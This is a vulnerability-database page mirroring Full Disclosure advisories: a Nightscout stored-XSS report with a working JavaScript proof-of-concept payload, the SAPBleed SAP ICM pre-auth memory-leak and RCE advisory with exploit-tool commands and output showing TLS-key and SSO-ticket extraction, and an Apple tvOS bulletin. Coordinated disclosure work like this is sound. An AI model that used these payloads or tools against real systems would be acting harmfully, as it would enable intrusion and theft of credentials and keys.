unavailable.\");\n }\n\n c.socket.emit(\"authorize\", {\n client: \"web\",\n secret: c.authorized?.token ? null : c.hashauth.hash(),\n token: c.authorized?.token\n }, console.log);\n\n const marker = `NS-XSS-POC-${Date.now()}`;\n const payload =\n `\u003cimg src=\"data:image/gif;base64,` +\n `R0lGODlhAQABAIAAAAAAAP///ywAAAAAAQABAAACAUwAOw==\" ` +\n `onload=\"document.title=\u0027${marker}\u0027\"\u003e`;\n\n c.socket.emit(\"dbAdd\", {\n collection: \"treatments\",\n data: {\n eventType: \"Note\",\n created_at: new Date(Date.now() - 300000).toISOString(),\n duration: 10,\n enteredBy: \"PoC\",\n notes: payload\n }\n }, (res) =\u003e {\n const id = res?.[0]?._id;\n if (!id) return console.error(\"Failed:\", res);\n\n localStorage.setItem(\"nsXssPocId\", id);\n console.log(\"Created PoC:\", { id, marker });\n location.reload();\n });\n })();\n\nThe proof of concept stores an image element whose \u0027onload\u0027 handler\nchanges the document title. This provides a visible demonstration of\nJavaScript execution without performing privileged Nightscout actions.\n\nAfter the treatment has been stored and the page reloaded, hovering\nover the malicious treatment causes the payload to execute.\n\n6. Affected Versions\n--------------------\nNightscout versions \u003e= 0.8.1 and \u003c 15.0.8 are affected.\n\nThe vulnerable behaviour results from the combination of the WebSocket\ntreatment write path accepting unsanitized treatment fields and the\nclient-side treatment tooltip rendering those fields as HTML.\n\nNightscout 15.0.8 contains the fix.\n\n7. Remediation\n--------------\nUsers should update to Nightscout 15.0.8 or later, which contains the\nfix for this vulnerability.\n\nThe fix prevents treatment data written through the affected WebSocket\npath from reaching an executable HTML rendering context without\nappropriate sanitization.\n\nUsers should upgrade even where treatment write access is restricted,\nas exploitation requires only treatment write permissions and the\nstored payload may subsequently execute in the browser of a more\nprivileged Nightscout user.\n\n8. Workaround\n-------------\nUpgrading to Nightscout 15.0.8 or later is the recommended remediation.\n\nIf an affected installation cannot be upgraded immediately, operators\nshould restrict treatment write permissions to trusted users and\nclients until the upgrade can be completed.\n\nThis reduces exposure but does not correct the underlying discrepancy\nbetween the WebSocket treatment write path and treatment rendering, and\nshould not be treated as a substitute for upgrading.\n\n9. CVSS\n-------\nSeverity: Critical\n\nCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N\n\nAttack vector: Network\nAttack complexity: Low\nAttack requirements: None\nPrivileges required: Low\nUser interaction: Passive\nVulnerable system: High confidentiality and integrity impact; no\navailability impact.\nSubsequent system: High confidentiality and integrity impact; no\navailability impact.\n\n10. References\n-------------\nResearch report:\nhttps://www.scstudios.tech/research/GHSA-5mrq-gpqw-q5v5\n\nNightscout:\nhttps://github.com/nightscout/cgm-remote-monitor\n\nGitHub Security Advisory:\nhttps://github.com/nightscout/cgm-remote-monitor/security/advisories/\nGHSA-5mrq-gpqw-q5v5\n\nCWE-79:\nhttps://cwe.mitre.org/data/definitions/79.html\n\nFix:\nhttps://github.com/nightscout/cgm-remote-monitor/pull/8591\n\nFixed release:\nhttps://github.com/nightscout/cgm-remote-monitor/releases/tag/v15.0.8\n\n10. Timeline\n------------\n2026-09-01 Vulnerability privately reported to a Nightscout maintainer,\n with a proof of concept and a demonstration video.\n\n2026-09-02 Private GitHub security report GHSA-5mrq-gpqw-q5v5 submitted.\n A temporary private fork was created for the report.\n\n2026-09-02 Fix merged in PR #8591 (20:20 UTC, 3 September in Hobart).\n\n2026-09-04 Nightscout 15.0.8 released containing the fix (18:27 UTC,\n 5 September in Hobart).\n\n2026-09-06 Reporter requested that the advisory be accepted as a draft\n and reported submitting a CVE request to MITRE.\n\n2026-09-17 Reporter notified the maintainer of an intention to publish\n a technical disclosure that week and invited objections.\n\n2026-09-19 Maintainer accepted the GitHub security report.\n\n2026-09-22 Reporter joined the Nightscout security team and requested\n a CVE through GitHub.\n\n2026-09-26 CVE request repeated through GitHub. Further requests were\n made during October; no CVE ID had been assigned at the\n time of preparing this disclosure.\n\n2026-10-30 Reporter followed up with the maintainer about publication\n of the disclosure, noting that the fix was in 15.0.8.\n\n2026-11-13 Maintainer acknowledged the proposed coordinated\n publication of the disclosure and GHSA.\n\n2026-11-16 Public disclosure and publication.\n\n--\nRuben Sutton\nSoftware Developer \u0026 Security Researcher\nSuperCode Studios\nhttps://www.scstudios.tech/\nPGP: FE673 AD759 DC01A 264DC 933FD 4B425 66BB8 B28FA_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
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GCVE-1988-2026-0574
Vulnerability from gna-1988 – Published: 2026-11-17 19:38 – Updated: 2026-11-17 19:38
VLAI
EPSS
VEX
Title
SAPBleed: Pre-Auth Memory Disclosure and RCE in SAP NetWeaver, Web Dispatcher and HANA XS (CVE-2026-76964, CVE-2026-89126)
Summary
nullFaktor Security Advisory < 2026-11-12 >
===========================================================
Title: SAPBleed: Pre-Auth Process Memory Leak and RCE
in SAP ICM and Web Dispatcher, including the
internal Web Dispatcher in SAP HANA XS
Vulnerability: Heap Buffer Overflow / Memory Leak / RCE
CVE (ICM): CVE-2026-76964
CVE (Web Disp): CVE-2026-89126
Impact: Critical
CVSS 3.0 Score: 10.0 (both CVEs)
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Products: SAP NetWeaver AS ABAP (ICM); SAP Web Dispatcher;
SAP HANA XS (internal Web Dispatcher)
Affected Versions: See SAP Security Notes 3778530 and 3778556
Vendor Homepage: https://www.sap.com
SAP Note (ICM): 3778530
SAP Note (Web Disp): 3778556
Date: 2026-11-12
Author: Raschin Tavakoli | nullFaktor GmbH
https://www.nullfaktor.com
office () nullfaktor com
https://x.com/r4yzor9
https://x.com/_nullfaktor
Blog: https://nullfaktor.com/
blog/cve-2026-76964-cve-2026-89126-sapbleed
Short Summary
=============
SAPBleed is a pre-authentication memory-disclosure and RCE
vulnerability affecting SAP ICM, SAP Web Dispatcher, and SAP HANA XS.
An Internet-facing SAP Web Dispatcher, acting as a reverse proxy,
can forward the attack to an ICM in a protected backend network
segment. The WebSocket connection becomes a path for leaking
memory from that internal component over the Internet. Attackers can
repeatedly read selected ICM memory, potentially exposing SSO tickets
and private TLS keys. ICM-accessible shared memory also contains code
addresses from separate ABAP dialog work processes (disp+work), even
though those processes are not directly exposed to the Internet.
The ICM can remain running during the memory disclosure. Traffic can
travel over TLS-protected WebSocket connections, concealing the leaked
payload from network sensors without TLS visibility. Pre-authentication
code execution has also been demonstrated in both ICM and Web
Dispatcher.
Vendor description
==================
SAP SE is an enterprise software company headquartered in Walldorf,
Germany. Its products include enterprise resource planning (ERP)
software and business applications.
Vulnerability
=============
SAPBleed is a pre-authentication heap buffer overflow in the WebSocket
processing of SAP Internet Communication Manager (ICM) and SAP Web
Dispatcher, including Web Dispatcher deployments used with SAP HANA XS.
The flaw allows an unauthenticated attacker to corrupt WebSocket
connection state. Depending on how the corruption is exploited, the
affected process can disclose memory or be used for remote code
execution. The attack is carried over a WebSocket connection and can
reach affected services over HTTP or HTTPS, including TLS-encrypted
connections.
The memory disclosure occurs when corrupted connection state causes
the process to return heap contents beyond the data intended for its
response. A Web Dispatcher can be targeted directly, exposing memory
from its own process. Where affected traffic is forwarded to an ICM,
the ICM can also be targeted through the Web Dispatcher. Leaked process
memory may contain SSO tickets, cryptographic key material and process
addresses that enable a full ASLR bypass.
In our tested laboratory deployment, the research PoCs demonstrated:
- Direct disclosure of Web Dispatcher process memory, including its
own address information, enabling an ASLR bypass for that process.
- Repeatable reads of arbitrary ICM process memory, including when
the ICM was reached through a Web Dispatcher.
- Disclosure of ICM process addresses, enabling an ASLR bypass in
that process.
- Cross-process disclosure of code addresses belonging to separate
ABAP dialog work processes (DIA/disp+work), defeating their own
ASLR despite their separate process address spaces.
- Remote identification of the SAP kernel release, build and patch
level without SAP credentials.
- Extraction of the server's private TLS key from ICM memory.
- Extraction of a valid MYSAPSSO2 single sign-on ticket from active
authenticated traffic present in ICM memory.
The impact extends beyond the ICM: SAP shared memory visible to the ICM
contains code addresses from separate DIA work processes. Our PoC
recovered their module base addresses over the network before
authentication. This removes ASLR as a barrier for address-dependent
RCE flaws in those work processes as well.
A leaked SSO ticket may allow impersonation of its user while the
ticket remains valid. Exposure of a TLS private key compromises the
server's key material; the effect on past traffic depends on the TLS
configuration. Other secrets held in ICM memory may also be exposed,
depending on the system's workload and the data present at the time of
an attack.
SAPBleed is particularly critical because it exposes process memory
over the Internet before authentication. The disclosed process
addresses defeat ASLR in the affected processes. This can make other
memory-corruption flaws in those same processes exploitable when their
remote code execution path requires an otherwise unknown address.
Our SAP Overpass advisory (CVE-2026-44756), published September 10,
2026, illustrates this: its RCE proof required an independently
obtained module base address. SAPBleed can supply that address where
both issues affect the same ICM and can expose the corresponding
address for a DIA work process.
See:
https://nullfaktor.com/blog/cve-2026-44756-sap-netweaver-pre-auth-rce
Our research also established pre-authentication remote code execution
(RCE) in both ICM and Web Dispatcher. We engineered the ICM
memory-extraction path to restore a consistent execution state after
each read. In repeated laboratory runs, it extracted data reliably
without crashing the ICM or dialog work processes, including when
traffic passed through a Web Dispatcher. The services remained
available during those runs.
Further exploitation details are withheld from this version.
Tested Environment
==================
The issue was reproduced in a laboratory deployment of SAP NetWeaver AS
ABAP and SAP Web Dispatcher. Full build details are omitted from this
version.
Attack Scenario
===============
Any affected SAP system that exposes the vulnerable WebSocket path to
the Internet can be attacked before authentication. Placing a Web
Dispatcher in front of the ICM does not shield that backend: our lab
demonstrated that attack traffic can pass through the Internet-facing
proxy and disclose ICM process memory even when the ICM is not directly
reachable from the Internet. The Web Dispatcher can also be attacked
directly. No SAP credentials, prior session, or user interaction are
required.
Mitigation
==========
Install the corrections in SAP Security Notes 3778530 (ICM) and 3778556
(Web Dispatcher) at the fixed patch levels for each installed release.
As a temporary measure, disable WebSocket HTTP upgrades in the relevant
ICM and Web Dispatcher profiles with
icm/HTTP/support_websocket_upgrade=FALSE and restart the components.
This can disrupt functions that require WebSocket. SAP FAQ Note 3778788
provides further guidance on temporary workarounds. Until updates are
applied, restrict network access to affected systems.
Proof of Concept
================
The following excerpts are from our laboratory tests. All
attacks reach the target before authentication. SIDs and OS
user names have been redacted, and line wrapping has been
adjusted for readability.
SAPBleed Integrated Tool
-------------------------
The SAPBleed tool automates the full chain from initial memory
disclosure through ASLR bypass to secret extraction without attacker
credentials or a prior attacker session. The SSO test below uses
concurrent authenticated traffic from a separate lab client.
TLS private-key extraction (ICM PIE leak, kernel fingerprint,
TLS key recovery in one session):
$> python3 sapbleed.py secure-bank 50001 tls
SAPBleed Lab Demo
Target: secure-bank:50001
Authentication: none (pre-auth)
Operations: ICM PIE -> Kernel fingerprint -> TLS key
[CHECK] Connecting to ICM ... OK 00:01
[1/3] Leaking the ICM PIE base
[OK] ICM PIE: 0x*** 00:08
[2/3] Identifying the kernel build and patch level
[OK] ICM kernel 793, patch level 101
(read from the kernel patch table) 00:25
[3/3] Extracting the TLS private key
[OK] TLS private key extracted 00:28
Saved to: ~/.sapbleed/loot/tls_private_key.pem
RESULT: 3/3 operations succeeded
TOTAL TIME: 01:04
SSO ticket extraction (ICM PIE leak, kernel fingerprint, and
recovery of a MYSAPSSO2 ticket from concurrent victim traffic):
In one terminal, a victim sends authenticated HTTPS requests:
$> python3 victim_sim.py secure-bank 50001
Victim simulator: secure-bank:50001 every 0.3s
Ticket: ~/.sapbleed/victim_ticket.b64 (1164 characters)
Press Ctrl+C to stop.
[1] HTTP 200 (14259 bytes) AUTHENTICATED (ticket valid)
[2] HTTP 200 (14259 bytes) AUTHENTICATED (ticket valid)
[3] HTTP 200 (14259 bytes) AUTHENTICATED (ticket valid)
With that traffic running, the unauthenticated client extracts the
victim's sso ticket in another terminal:
$> python3 sapbleed.py secure-bank 50001 sso
SAPBleed Lab Demo
Target: secure-bank:50001
Authentication: none (pre-auth)
Operations: ICM PIE -> Kernel fingerprint -> SSO ticket
Loot: ~/.sapbleed/loot
SSO traffic: on non-productive systems, use victim_sim.py
to simulate SSO traffic
[CHECK] Connecting to ICM ... OK 00:01
[1/3] Leaking the ICM PIE base
[OK] ICM PIE: 0x*** 00:20
[2/3] Identifying the kernel build and patch level (icman)
[OK] ICM kernel 793, patch level 101
(read from the kernel patch table) 00:13
[3/3] Extracting an SSO ticket
[OK] SSO ticket extracted 00:29
Saved to: ~/.sapbleed/loot/mysapsso2_ticket.b64
RESULT: 3/3 operations succeeded
TOTAL TIME: 01:04
Artifacts:
~/.sapbleed/loot/mysapsso2_ticket.b64
Benchmark: ~/.sapbleed/loot/benchmark.json
Cross-process ASLR bypass (ICM PIE leak extended to DIA
work-process addresses via SAP shared memory):
$> python3 sapbleed.py secure-bank 50001 dia
SAPBleed Lab Demo
Target: secure-bank:50001
Authentication: none (pre-auth)
Operations: ICM PIE -> Kernel fingerprint
-> disp+work PIE
[CHECK] Connecting to ICM ... OK 00:01
[1/3] Leaking the ICM PIE base
[OK] ICM PIE: 0x*** 00:22
[2/3] Identifying the kernel build and patch level
[OK] ICM kernel 793, patch level 101
(read from the kernel patch table) 00:25
[3/3] Leaking the disp+work PIE base via shared memory
[OK] disp+work PIE: 0x*** 00:23
RESULT: 3/3 operations succeeded
TOTAL TIME: 01:12
1. Internet Communication Manager (ICM)
=======================================
1.1 Memory Disclosure (ICM Heap Leak)
---------------------------------------
The standalone pre-authentication heap-leak PoC returns a 16 KiB
WebSocket binary frame containing uninitialised ICM heap data. This
is one response, not a limit on the total disclosure: the ICM PoC tool
uses a ROP-based reader to read selected ICM memory
addresses over subsequent WebSocket connections. The ICM survives;
no PIE base or heap address is needed as input for the initial leak:
$> python3 poc-icm-websocket-heapleak.py secure-bank 50001
icman pre-auth wire-only heap leak
target: secure-bank:50001
(WebSocket connection)
[*] warming the allocator
(churning freed pointer-bearing chunks)...
[*] attempt 1/3
[+] WebSocket upgraded
[+] crafted frames altered connection state
[+] received 16390 bytes from icman
RESULT: OVER-READ FIRED - 16390 bytes of an
uninitialised icman heap buffer leaked to
the client (icman survives; pre-auth;
wire-only; no PIE/heap base
Severity
No CVSS data available.
Assigner
References
12 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | SAPBleed Pre-Auth Memory |
Affected:
unknown
|
Relationships
analysis
GCVE-1988-2026-0574 (this record)
- related CVE-2026-44756
- related CVE-2026-76964
- related CVE-2026-89126
{
"containers": {
"cna": {
"affected": [
{
"product": "SAPBleed Pre-Auth Memory",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Raschin Tavakoli via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "nullFaktor Security Advisory \u003c 2026-11-12 \u003e\n===========================================================\nTitle: SAPBleed: Pre-Auth Process Memory Leak and RCE\n in SAP ICM and Web Dispatcher, including the\n internal Web Dispatcher in SAP HANA XS\n\nVulnerability: Heap Buffer Overflow / Memory Leak / RCE\n\nCVE (ICM): CVE-2026-76964\nCVE (Web Disp): CVE-2026-89126\nImpact: Critical\nCVSS 3.0 Score: 10.0 (both CVEs)\nCVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n\nProducts: SAP NetWeaver AS ABAP (ICM); SAP Web Dispatcher;\n SAP HANA XS (internal Web Dispatcher)\nAffected Versions: See SAP Security Notes 3778530 and 3778556\nVendor Homepage: https://www.sap.com\n\nSAP Note (ICM): 3778530\nSAP Note (Web Disp): 3778556\nDate: 2026-11-12\nAuthor: Raschin Tavakoli | nullFaktor GmbH\n https://www.nullfaktor.com\n office () nullfaktor com\n https://x.com/r4yzor9\n https://x.com/_nullfaktor\nBlog: https://nullfaktor.com/\n blog/cve-2026-76964-cve-2026-89126-sapbleed\n\nShort Summary\n=============\n\nSAPBleed is a pre-authentication memory-disclosure and RCE\nvulnerability affecting SAP ICM, SAP Web Dispatcher, and SAP HANA XS.\nAn Internet-facing SAP Web Dispatcher, acting as a reverse proxy,\ncan forward the attack to an ICM in a protected backend network\nsegment. The WebSocket connection becomes a path for leaking\nmemory from that internal component over the Internet. Attackers can\nrepeatedly read selected ICM memory, potentially exposing SSO tickets\nand private TLS keys. ICM-accessible shared memory also contains code\naddresses from separate ABAP dialog work processes (disp+work), even\nthough those processes are not directly exposed to the Internet.\n\nThe ICM can remain running during the memory disclosure. Traffic can\ntravel over TLS-protected WebSocket connections, concealing the leaked\npayload from network sensors without TLS visibility. Pre-authentication\ncode execution has also been demonstrated in both ICM and Web\nDispatcher.\n\nVendor description\n==================\nSAP SE is an enterprise software company headquartered in Walldorf,\nGermany. Its products include enterprise resource planning (ERP)\nsoftware and business applications.\n\nVulnerability\n=============\nSAPBleed is a pre-authentication heap buffer overflow in the WebSocket\nprocessing of SAP Internet Communication Manager (ICM) and SAP Web\nDispatcher, including Web Dispatcher deployments used with SAP HANA XS.\nThe flaw allows an unauthenticated attacker to corrupt WebSocket\nconnection state. Depending on how the corruption is exploited, the\naffected process can disclose memory or be used for remote code\nexecution. The attack is carried over a WebSocket connection and can\nreach affected services over HTTP or HTTPS, including TLS-encrypted\nconnections.\n\nThe memory disclosure occurs when corrupted connection state causes\nthe process to return heap contents beyond the data intended for its\nresponse. A Web Dispatcher can be targeted directly, exposing memory\nfrom its own process. Where affected traffic is forwarded to an ICM,\nthe ICM can also be targeted through the Web Dispatcher. Leaked process\nmemory may contain SSO tickets, cryptographic key material and process\naddresses that enable a full ASLR bypass.\n\nIn our tested laboratory deployment, the research PoCs demonstrated:\n\n - Direct disclosure of Web Dispatcher process memory, including its\n own address information, enabling an ASLR bypass for that process.\n\n - Repeatable reads of arbitrary ICM process memory, including when\n the ICM was reached through a Web Dispatcher.\n\n - Disclosure of ICM process addresses, enabling an ASLR bypass in\n that process.\n\n - Cross-process disclosure of code addresses belonging to separate\n ABAP dialog work processes (DIA/disp+work), defeating their own\n ASLR despite their separate process address spaces.\n\n - Remote identification of the SAP kernel release, build and patch\n level without SAP credentials.\n\n - Extraction of the server\u0027s private TLS key from ICM memory.\n\n - Extraction of a valid MYSAPSSO2 single sign-on ticket from active\n authenticated traffic present in ICM memory.\n\nThe impact extends beyond the ICM: SAP shared memory visible to the ICM\ncontains code addresses from separate DIA work processes. Our PoC\nrecovered their module base addresses over the network before\nauthentication. This removes ASLR as a barrier for address-dependent\nRCE flaws in those work processes as well.\n\nA leaked SSO ticket may allow impersonation of its user while the\nticket remains valid. Exposure of a TLS private key compromises the\nserver\u0027s key material; the effect on past traffic depends on the TLS\nconfiguration. Other secrets held in ICM memory may also be exposed,\ndepending on the system\u0027s workload and the data present at the time of\nan attack.\n\nSAPBleed is particularly critical because it exposes process memory\nover the Internet before authentication. The disclosed process\naddresses defeat ASLR in the affected processes. This can make other\nmemory-corruption flaws in those same processes exploitable when their\nremote code execution path requires an otherwise unknown address.\n\nOur SAP Overpass advisory (CVE-2026-44756), published September 10,\n2026, illustrates this: its RCE proof required an independently\nobtained module base address. SAPBleed can supply that address where\nboth issues affect the same ICM and can expose the corresponding\naddress for a DIA work process.\nSee:\nhttps://nullfaktor.com/blog/cve-2026-44756-sap-netweaver-pre-auth-rce\n\nOur research also established pre-authentication remote code execution\n(RCE) in both ICM and Web Dispatcher. We engineered the ICM\nmemory-extraction path to restore a consistent execution state after\neach read. In repeated laboratory runs, it extracted data reliably\nwithout crashing the ICM or dialog work processes, including when\ntraffic passed through a Web Dispatcher. The services remained\navailable during those runs.\n\nFurther exploitation details are withheld from this version.\n\nTested Environment\n==================\nThe issue was reproduced in a laboratory deployment of SAP NetWeaver AS\nABAP and SAP Web Dispatcher. Full build details are omitted from this\nversion.\n\nAttack Scenario\n===============\nAny affected SAP system that exposes the vulnerable WebSocket path to\nthe Internet can be attacked before authentication. Placing a Web\nDispatcher in front of the ICM does not shield that backend: our lab\ndemonstrated that attack traffic can pass through the Internet-facing\nproxy and disclose ICM process memory even when the ICM is not directly\nreachable from the Internet. The Web Dispatcher can also be attacked\ndirectly. No SAP credentials, prior session, or user interaction are\nrequired.\n\nMitigation\n==========\nInstall the corrections in SAP Security Notes 3778530 (ICM) and 3778556\n(Web Dispatcher) at the fixed patch levels for each installed release.\nAs a temporary measure, disable WebSocket HTTP upgrades in the relevant\nICM and Web Dispatcher profiles with\nicm/HTTP/support_websocket_upgrade=FALSE and restart the components.\nThis can disrupt functions that require WebSocket. SAP FAQ Note 3778788\nprovides further guidance on temporary workarounds. Until updates are\napplied, restrict network access to affected systems.\n\nProof of Concept\n================\n\nThe following excerpts are from our laboratory tests. All\nattacks reach the target before authentication. SIDs and OS\nuser names have been redacted, and line wrapping has been\nadjusted for readability.\n\n\nSAPBleed Integrated Tool\n-------------------------\n\nThe SAPBleed tool automates the full chain from initial memory\ndisclosure through ASLR bypass to secret extraction without attacker\ncredentials or a prior attacker session. The SSO test below uses\nconcurrent authenticated traffic from a separate lab client.\n\nTLS private-key extraction (ICM PIE leak, kernel fingerprint,\nTLS key recovery in one session):\n\n$\u003e python3 sapbleed.py secure-bank 50001 tls\n\nSAPBleed Lab Demo\nTarget: secure-bank:50001\nAuthentication: none (pre-auth)\nOperations: ICM PIE -\u003e Kernel fingerprint -\u003e TLS key\n\n[CHECK] Connecting to ICM ... OK 00:01\n\n[1/3] Leaking the ICM PIE base\n[OK] ICM PIE: 0x*** 00:08\n\n[2/3] Identifying the kernel build and patch level\n[OK] ICM kernel 793, patch level 101\n (read from the kernel patch table) 00:25\n\n[3/3] Extracting the TLS private key\n[OK] TLS private key extracted 00:28\n Saved to: ~/.sapbleed/loot/tls_private_key.pem\n\nRESULT: 3/3 operations succeeded\nTOTAL TIME: 01:04\n\nSSO ticket extraction (ICM PIE leak, kernel fingerprint, and\nrecovery of a MYSAPSSO2 ticket from concurrent victim traffic):\n\nIn one terminal, a victim sends authenticated HTTPS requests:\n\n$\u003e python3 victim_sim.py secure-bank 50001\n\nVictim simulator: secure-bank:50001 every 0.3s\nTicket: ~/.sapbleed/victim_ticket.b64 (1164 characters)\nPress Ctrl+C to stop.\n\n[1] HTTP 200 (14259 bytes) AUTHENTICATED (ticket valid)\n[2] HTTP 200 (14259 bytes) AUTHENTICATED (ticket valid)\n[3] HTTP 200 (14259 bytes) AUTHENTICATED (ticket valid)\n\nWith that traffic running, the unauthenticated client extracts the\nvictim\u0027s sso ticket in another terminal:\n\n$\u003e python3 sapbleed.py secure-bank 50001 sso\n\nSAPBleed Lab Demo\nTarget: secure-bank:50001\nAuthentication: none (pre-auth)\nOperations: ICM PIE -\u003e Kernel fingerprint -\u003e SSO ticket\nLoot: ~/.sapbleed/loot\nSSO traffic: on non-productive systems, use victim_sim.py\n to simulate SSO traffic\n\n[CHECK] Connecting to ICM ... OK 00:01\n\n[1/3] Leaking the ICM PIE base\n[OK] ICM PIE: 0x*** 00:20\n\n[2/3] Identifying the kernel build and patch level (icman)\n[OK] ICM kernel 793, patch level 101\n (read from the kernel patch table) 00:13\n\n[3/3] Extracting an SSO ticket\n[OK] SSO ticket extracted 00:29\n Saved to: ~/.sapbleed/loot/mysapsso2_ticket.b64\n\nRESULT: 3/3 operations succeeded\nTOTAL TIME: 01:04\n\nArtifacts:\n ~/.sapbleed/loot/mysapsso2_ticket.b64\n\nBenchmark: ~/.sapbleed/loot/benchmark.json\n\nCross-process ASLR bypass (ICM PIE leak extended to DIA\nwork-process addresses via SAP shared memory):\n\n$\u003e python3 sapbleed.py secure-bank 50001 dia\n\nSAPBleed Lab Demo\nTarget: secure-bank:50001\nAuthentication: none (pre-auth)\nOperations: ICM PIE -\u003e Kernel fingerprint\n -\u003e disp+work PIE\n\n[CHECK] Connecting to ICM ... OK 00:01\n\n[1/3] Leaking the ICM PIE base\n[OK] ICM PIE: 0x*** 00:22\n\n[2/3] Identifying the kernel build and patch level\n[OK] ICM kernel 793, patch level 101\n (read from the kernel patch table) 00:25\n\n[3/3] Leaking the disp+work PIE base via shared memory\n[OK] disp+work PIE: 0x*** 00:23\n\nRESULT: 3/3 operations succeeded\nTOTAL TIME: 01:12\n\n\n1. Internet Communication Manager (ICM)\n=======================================\n\n1.1 Memory Disclosure (ICM Heap Leak)\n---------------------------------------\n\nThe standalone pre-authentication heap-leak PoC returns a 16 KiB\nWebSocket binary frame containing uninitialised ICM heap data. This\nis one response, not a limit on the total disclosure: the ICM PoC tool\nuses a ROP-based reader to read selected ICM memory\naddresses over subsequent WebSocket connections. The ICM survives;\nno PIE base or heap address is needed as input for the initial leak:\n\n$\u003e python3 poc-icm-websocket-heapleak.py secure-bank 50001\n\nicman pre-auth wire-only heap leak\ntarget: secure-bank:50001\n (WebSocket connection)\n[*] warming the allocator\n (churning freed pointer-bearing chunks)...\n[*] attempt 1/3\n[+] WebSocket upgraded\n[+] crafted frames altered connection state\n[+] received 16390 bytes from icman\n\nRESULT: OVER-READ FIRED - 16390 bytes of an\n uninitialised icman heap buffer leaked to\n the client (icman survives; pre-auth;\n wire-only; no PIE/heap base"
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GCVE-1988-2026-0573
Vulnerability from gna-1988 – Published: 2026-11-17 19:38 – Updated: 2026-11-17 19:38
VLAI
EPSS
VEX
Title
APPLE-SA-11-13-2026-1 tvOS 27.2.1
Summary
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Hash: SHA256
APPLE-SA-11-13-2026-1 tvOS 27.2.1
tvOS 27.2.1 addresses the following issues.
Information about the security content is also available at
https://support.apple.com/149721.
Apple maintains a Security Releases page at
https://support.apple.com/100100 which lists recent
software updates with security advisories.
AirPlay
Available for: Apple TV 4K 2nd generation and later
Impact: An attacker in Bluetooth range may be able to bypass the rate
limit on pairing code attempts
Description: A logic issue was addressed with improved state management.
CVE-2026-113968: Apple
App Intents
Available for: Apple TV 4K 2nd generation and later
Impact: An app may be able to access sensitive user data
Description: An authorization issue was addressed with improved state
management.
CVE-2026-113963: László Várady
Bluetooth
Available for: Apple TV 4K 2nd generation and later
Impact: An attacker in Bluetooth range may be able to corrupt process
memory
Description: A use-after-free issue was addressed with improved memory
management.
CVE-2026-113970: Apple
brotli
Available for: Apple TV 4K 2nd generation and later
Impact: Processing maliciously crafted input may lead to memory
corruption
Description: An out-of-bounds write issue was addressed with improved
input validation.
CVE-2026-111497
CoreUtils
Available for: Apple TV 4K 2nd generation and later
Impact: A malicious Bluetooth device may be able to establish a pairing
without user interaction
Description: This issue was addressed with improved checks.
CVE-2026-113965: Apple
CoreUtils
Available for: Apple TV 4K 2nd generation and later
Impact: An attacker in Bluetooth range may be able to bypass the rate
limit on pairing code attempts and pair with a device without user
interaction
Description: A logic issue was addressed with improved state management.
CVE-2026-113964: an anonymous researcher
rapportd
Available for: Apple TV 4K 2nd generation and later
Impact: An attacker on the same network may be able to bypass the rate
limit on AirPlay pairing code attempts
Description: A logic issue was addressed with improved state management.
CVE-2026-113969: Apple
Apple TV will periodically check for software updates. Alternatively,
you may manually check for software updates by selecting
"Settings -> System -> Software Update -> Update Software."
To check the current version of software, select
"Settings -> General -> About."
All information is also posted on the Apple Security Releases
web site: https://support.apple.com/100100.
This message is signed with Apple's Product Security PGP key,
and details are available at:
https://www.apple.com/support/security/pgp/
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_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
Relationships
reference
GCVE-1988-2026-0573 (this record)
- related CVE-2026-111497
- related CVE-2026-113963
- related CVE-2026-113964
- related CVE-2026-113965
- related CVE-2026-113968
- related CVE-2026-113969
- related CVE-2026-113970
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"value": "-----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA256\n\nAPPLE-SA-11-13-2026-1 tvOS 27.2.1\n\ntvOS 27.2.1 addresses the following issues.\nInformation about the security content is also available at\nhttps://support.apple.com/149721.\n\nApple maintains a Security Releases page at\nhttps://support.apple.com/100100 which lists recent\nsoftware updates with security advisories.\n\nAirPlay\nAvailable for: Apple TV 4K 2nd generation and later\nImpact: An attacker in Bluetooth range may be able to bypass the rate\nlimit on pairing code attempts\nDescription: A logic issue was addressed with improved state management.\nCVE-2026-113968: Apple\n\nApp Intents\nAvailable for: Apple TV 4K 2nd generation and later\nImpact: An app may be able to access sensitive user data\nDescription: An authorization issue was addressed with improved state\nmanagement.\nCVE-2026-113963: L\u00e1szl\u00f3 V\u00e1rady\n\nBluetooth\nAvailable for: Apple TV 4K 2nd generation and later\nImpact: An attacker in Bluetooth range may be able to corrupt process\nmemory\nDescription: A use-after-free issue was addressed with improved memory\nmanagement.\nCVE-2026-113970: Apple\n\nbrotli\nAvailable for: Apple TV 4K 2nd generation and later\nImpact: Processing maliciously crafted input may lead to memory\ncorruption\nDescription: An out-of-bounds write issue was addressed with improved\ninput validation.\nCVE-2026-111497\n\nCoreUtils\nAvailable for: Apple TV 4K 2nd generation and later\nImpact: A malicious Bluetooth device may be able to establish a pairing\nwithout user interaction\nDescription: This issue was addressed with improved checks.\nCVE-2026-113965: Apple\n\nCoreUtils\nAvailable for: Apple TV 4K 2nd generation and later\nImpact: An attacker in Bluetooth range may be able to bypass the rate\nlimit on pairing code attempts and pair with a device without user\ninteraction\nDescription: A logic issue was addressed with improved state management.\nCVE-2026-113964: an anonymous researcher\n\nrapportd\nAvailable for: Apple TV 4K 2nd generation and later\nImpact: An attacker on the same network may be able to bypass the rate\nlimit on AirPlay pairing code attempts\nDescription: A logic issue was addressed with improved state management.\nCVE-2026-113969: Apple\n\nApple TV will periodically check for software updates. Alternatively,\nyou may manually check for software updates by selecting\n\"Settings -\u003e System -\u003e Software Update -\u003e Update Software.\"\n\nTo check the current version of software, select\n\"Settings -\u003e General -\u003e About.\"\n\nAll information is also posted on the Apple 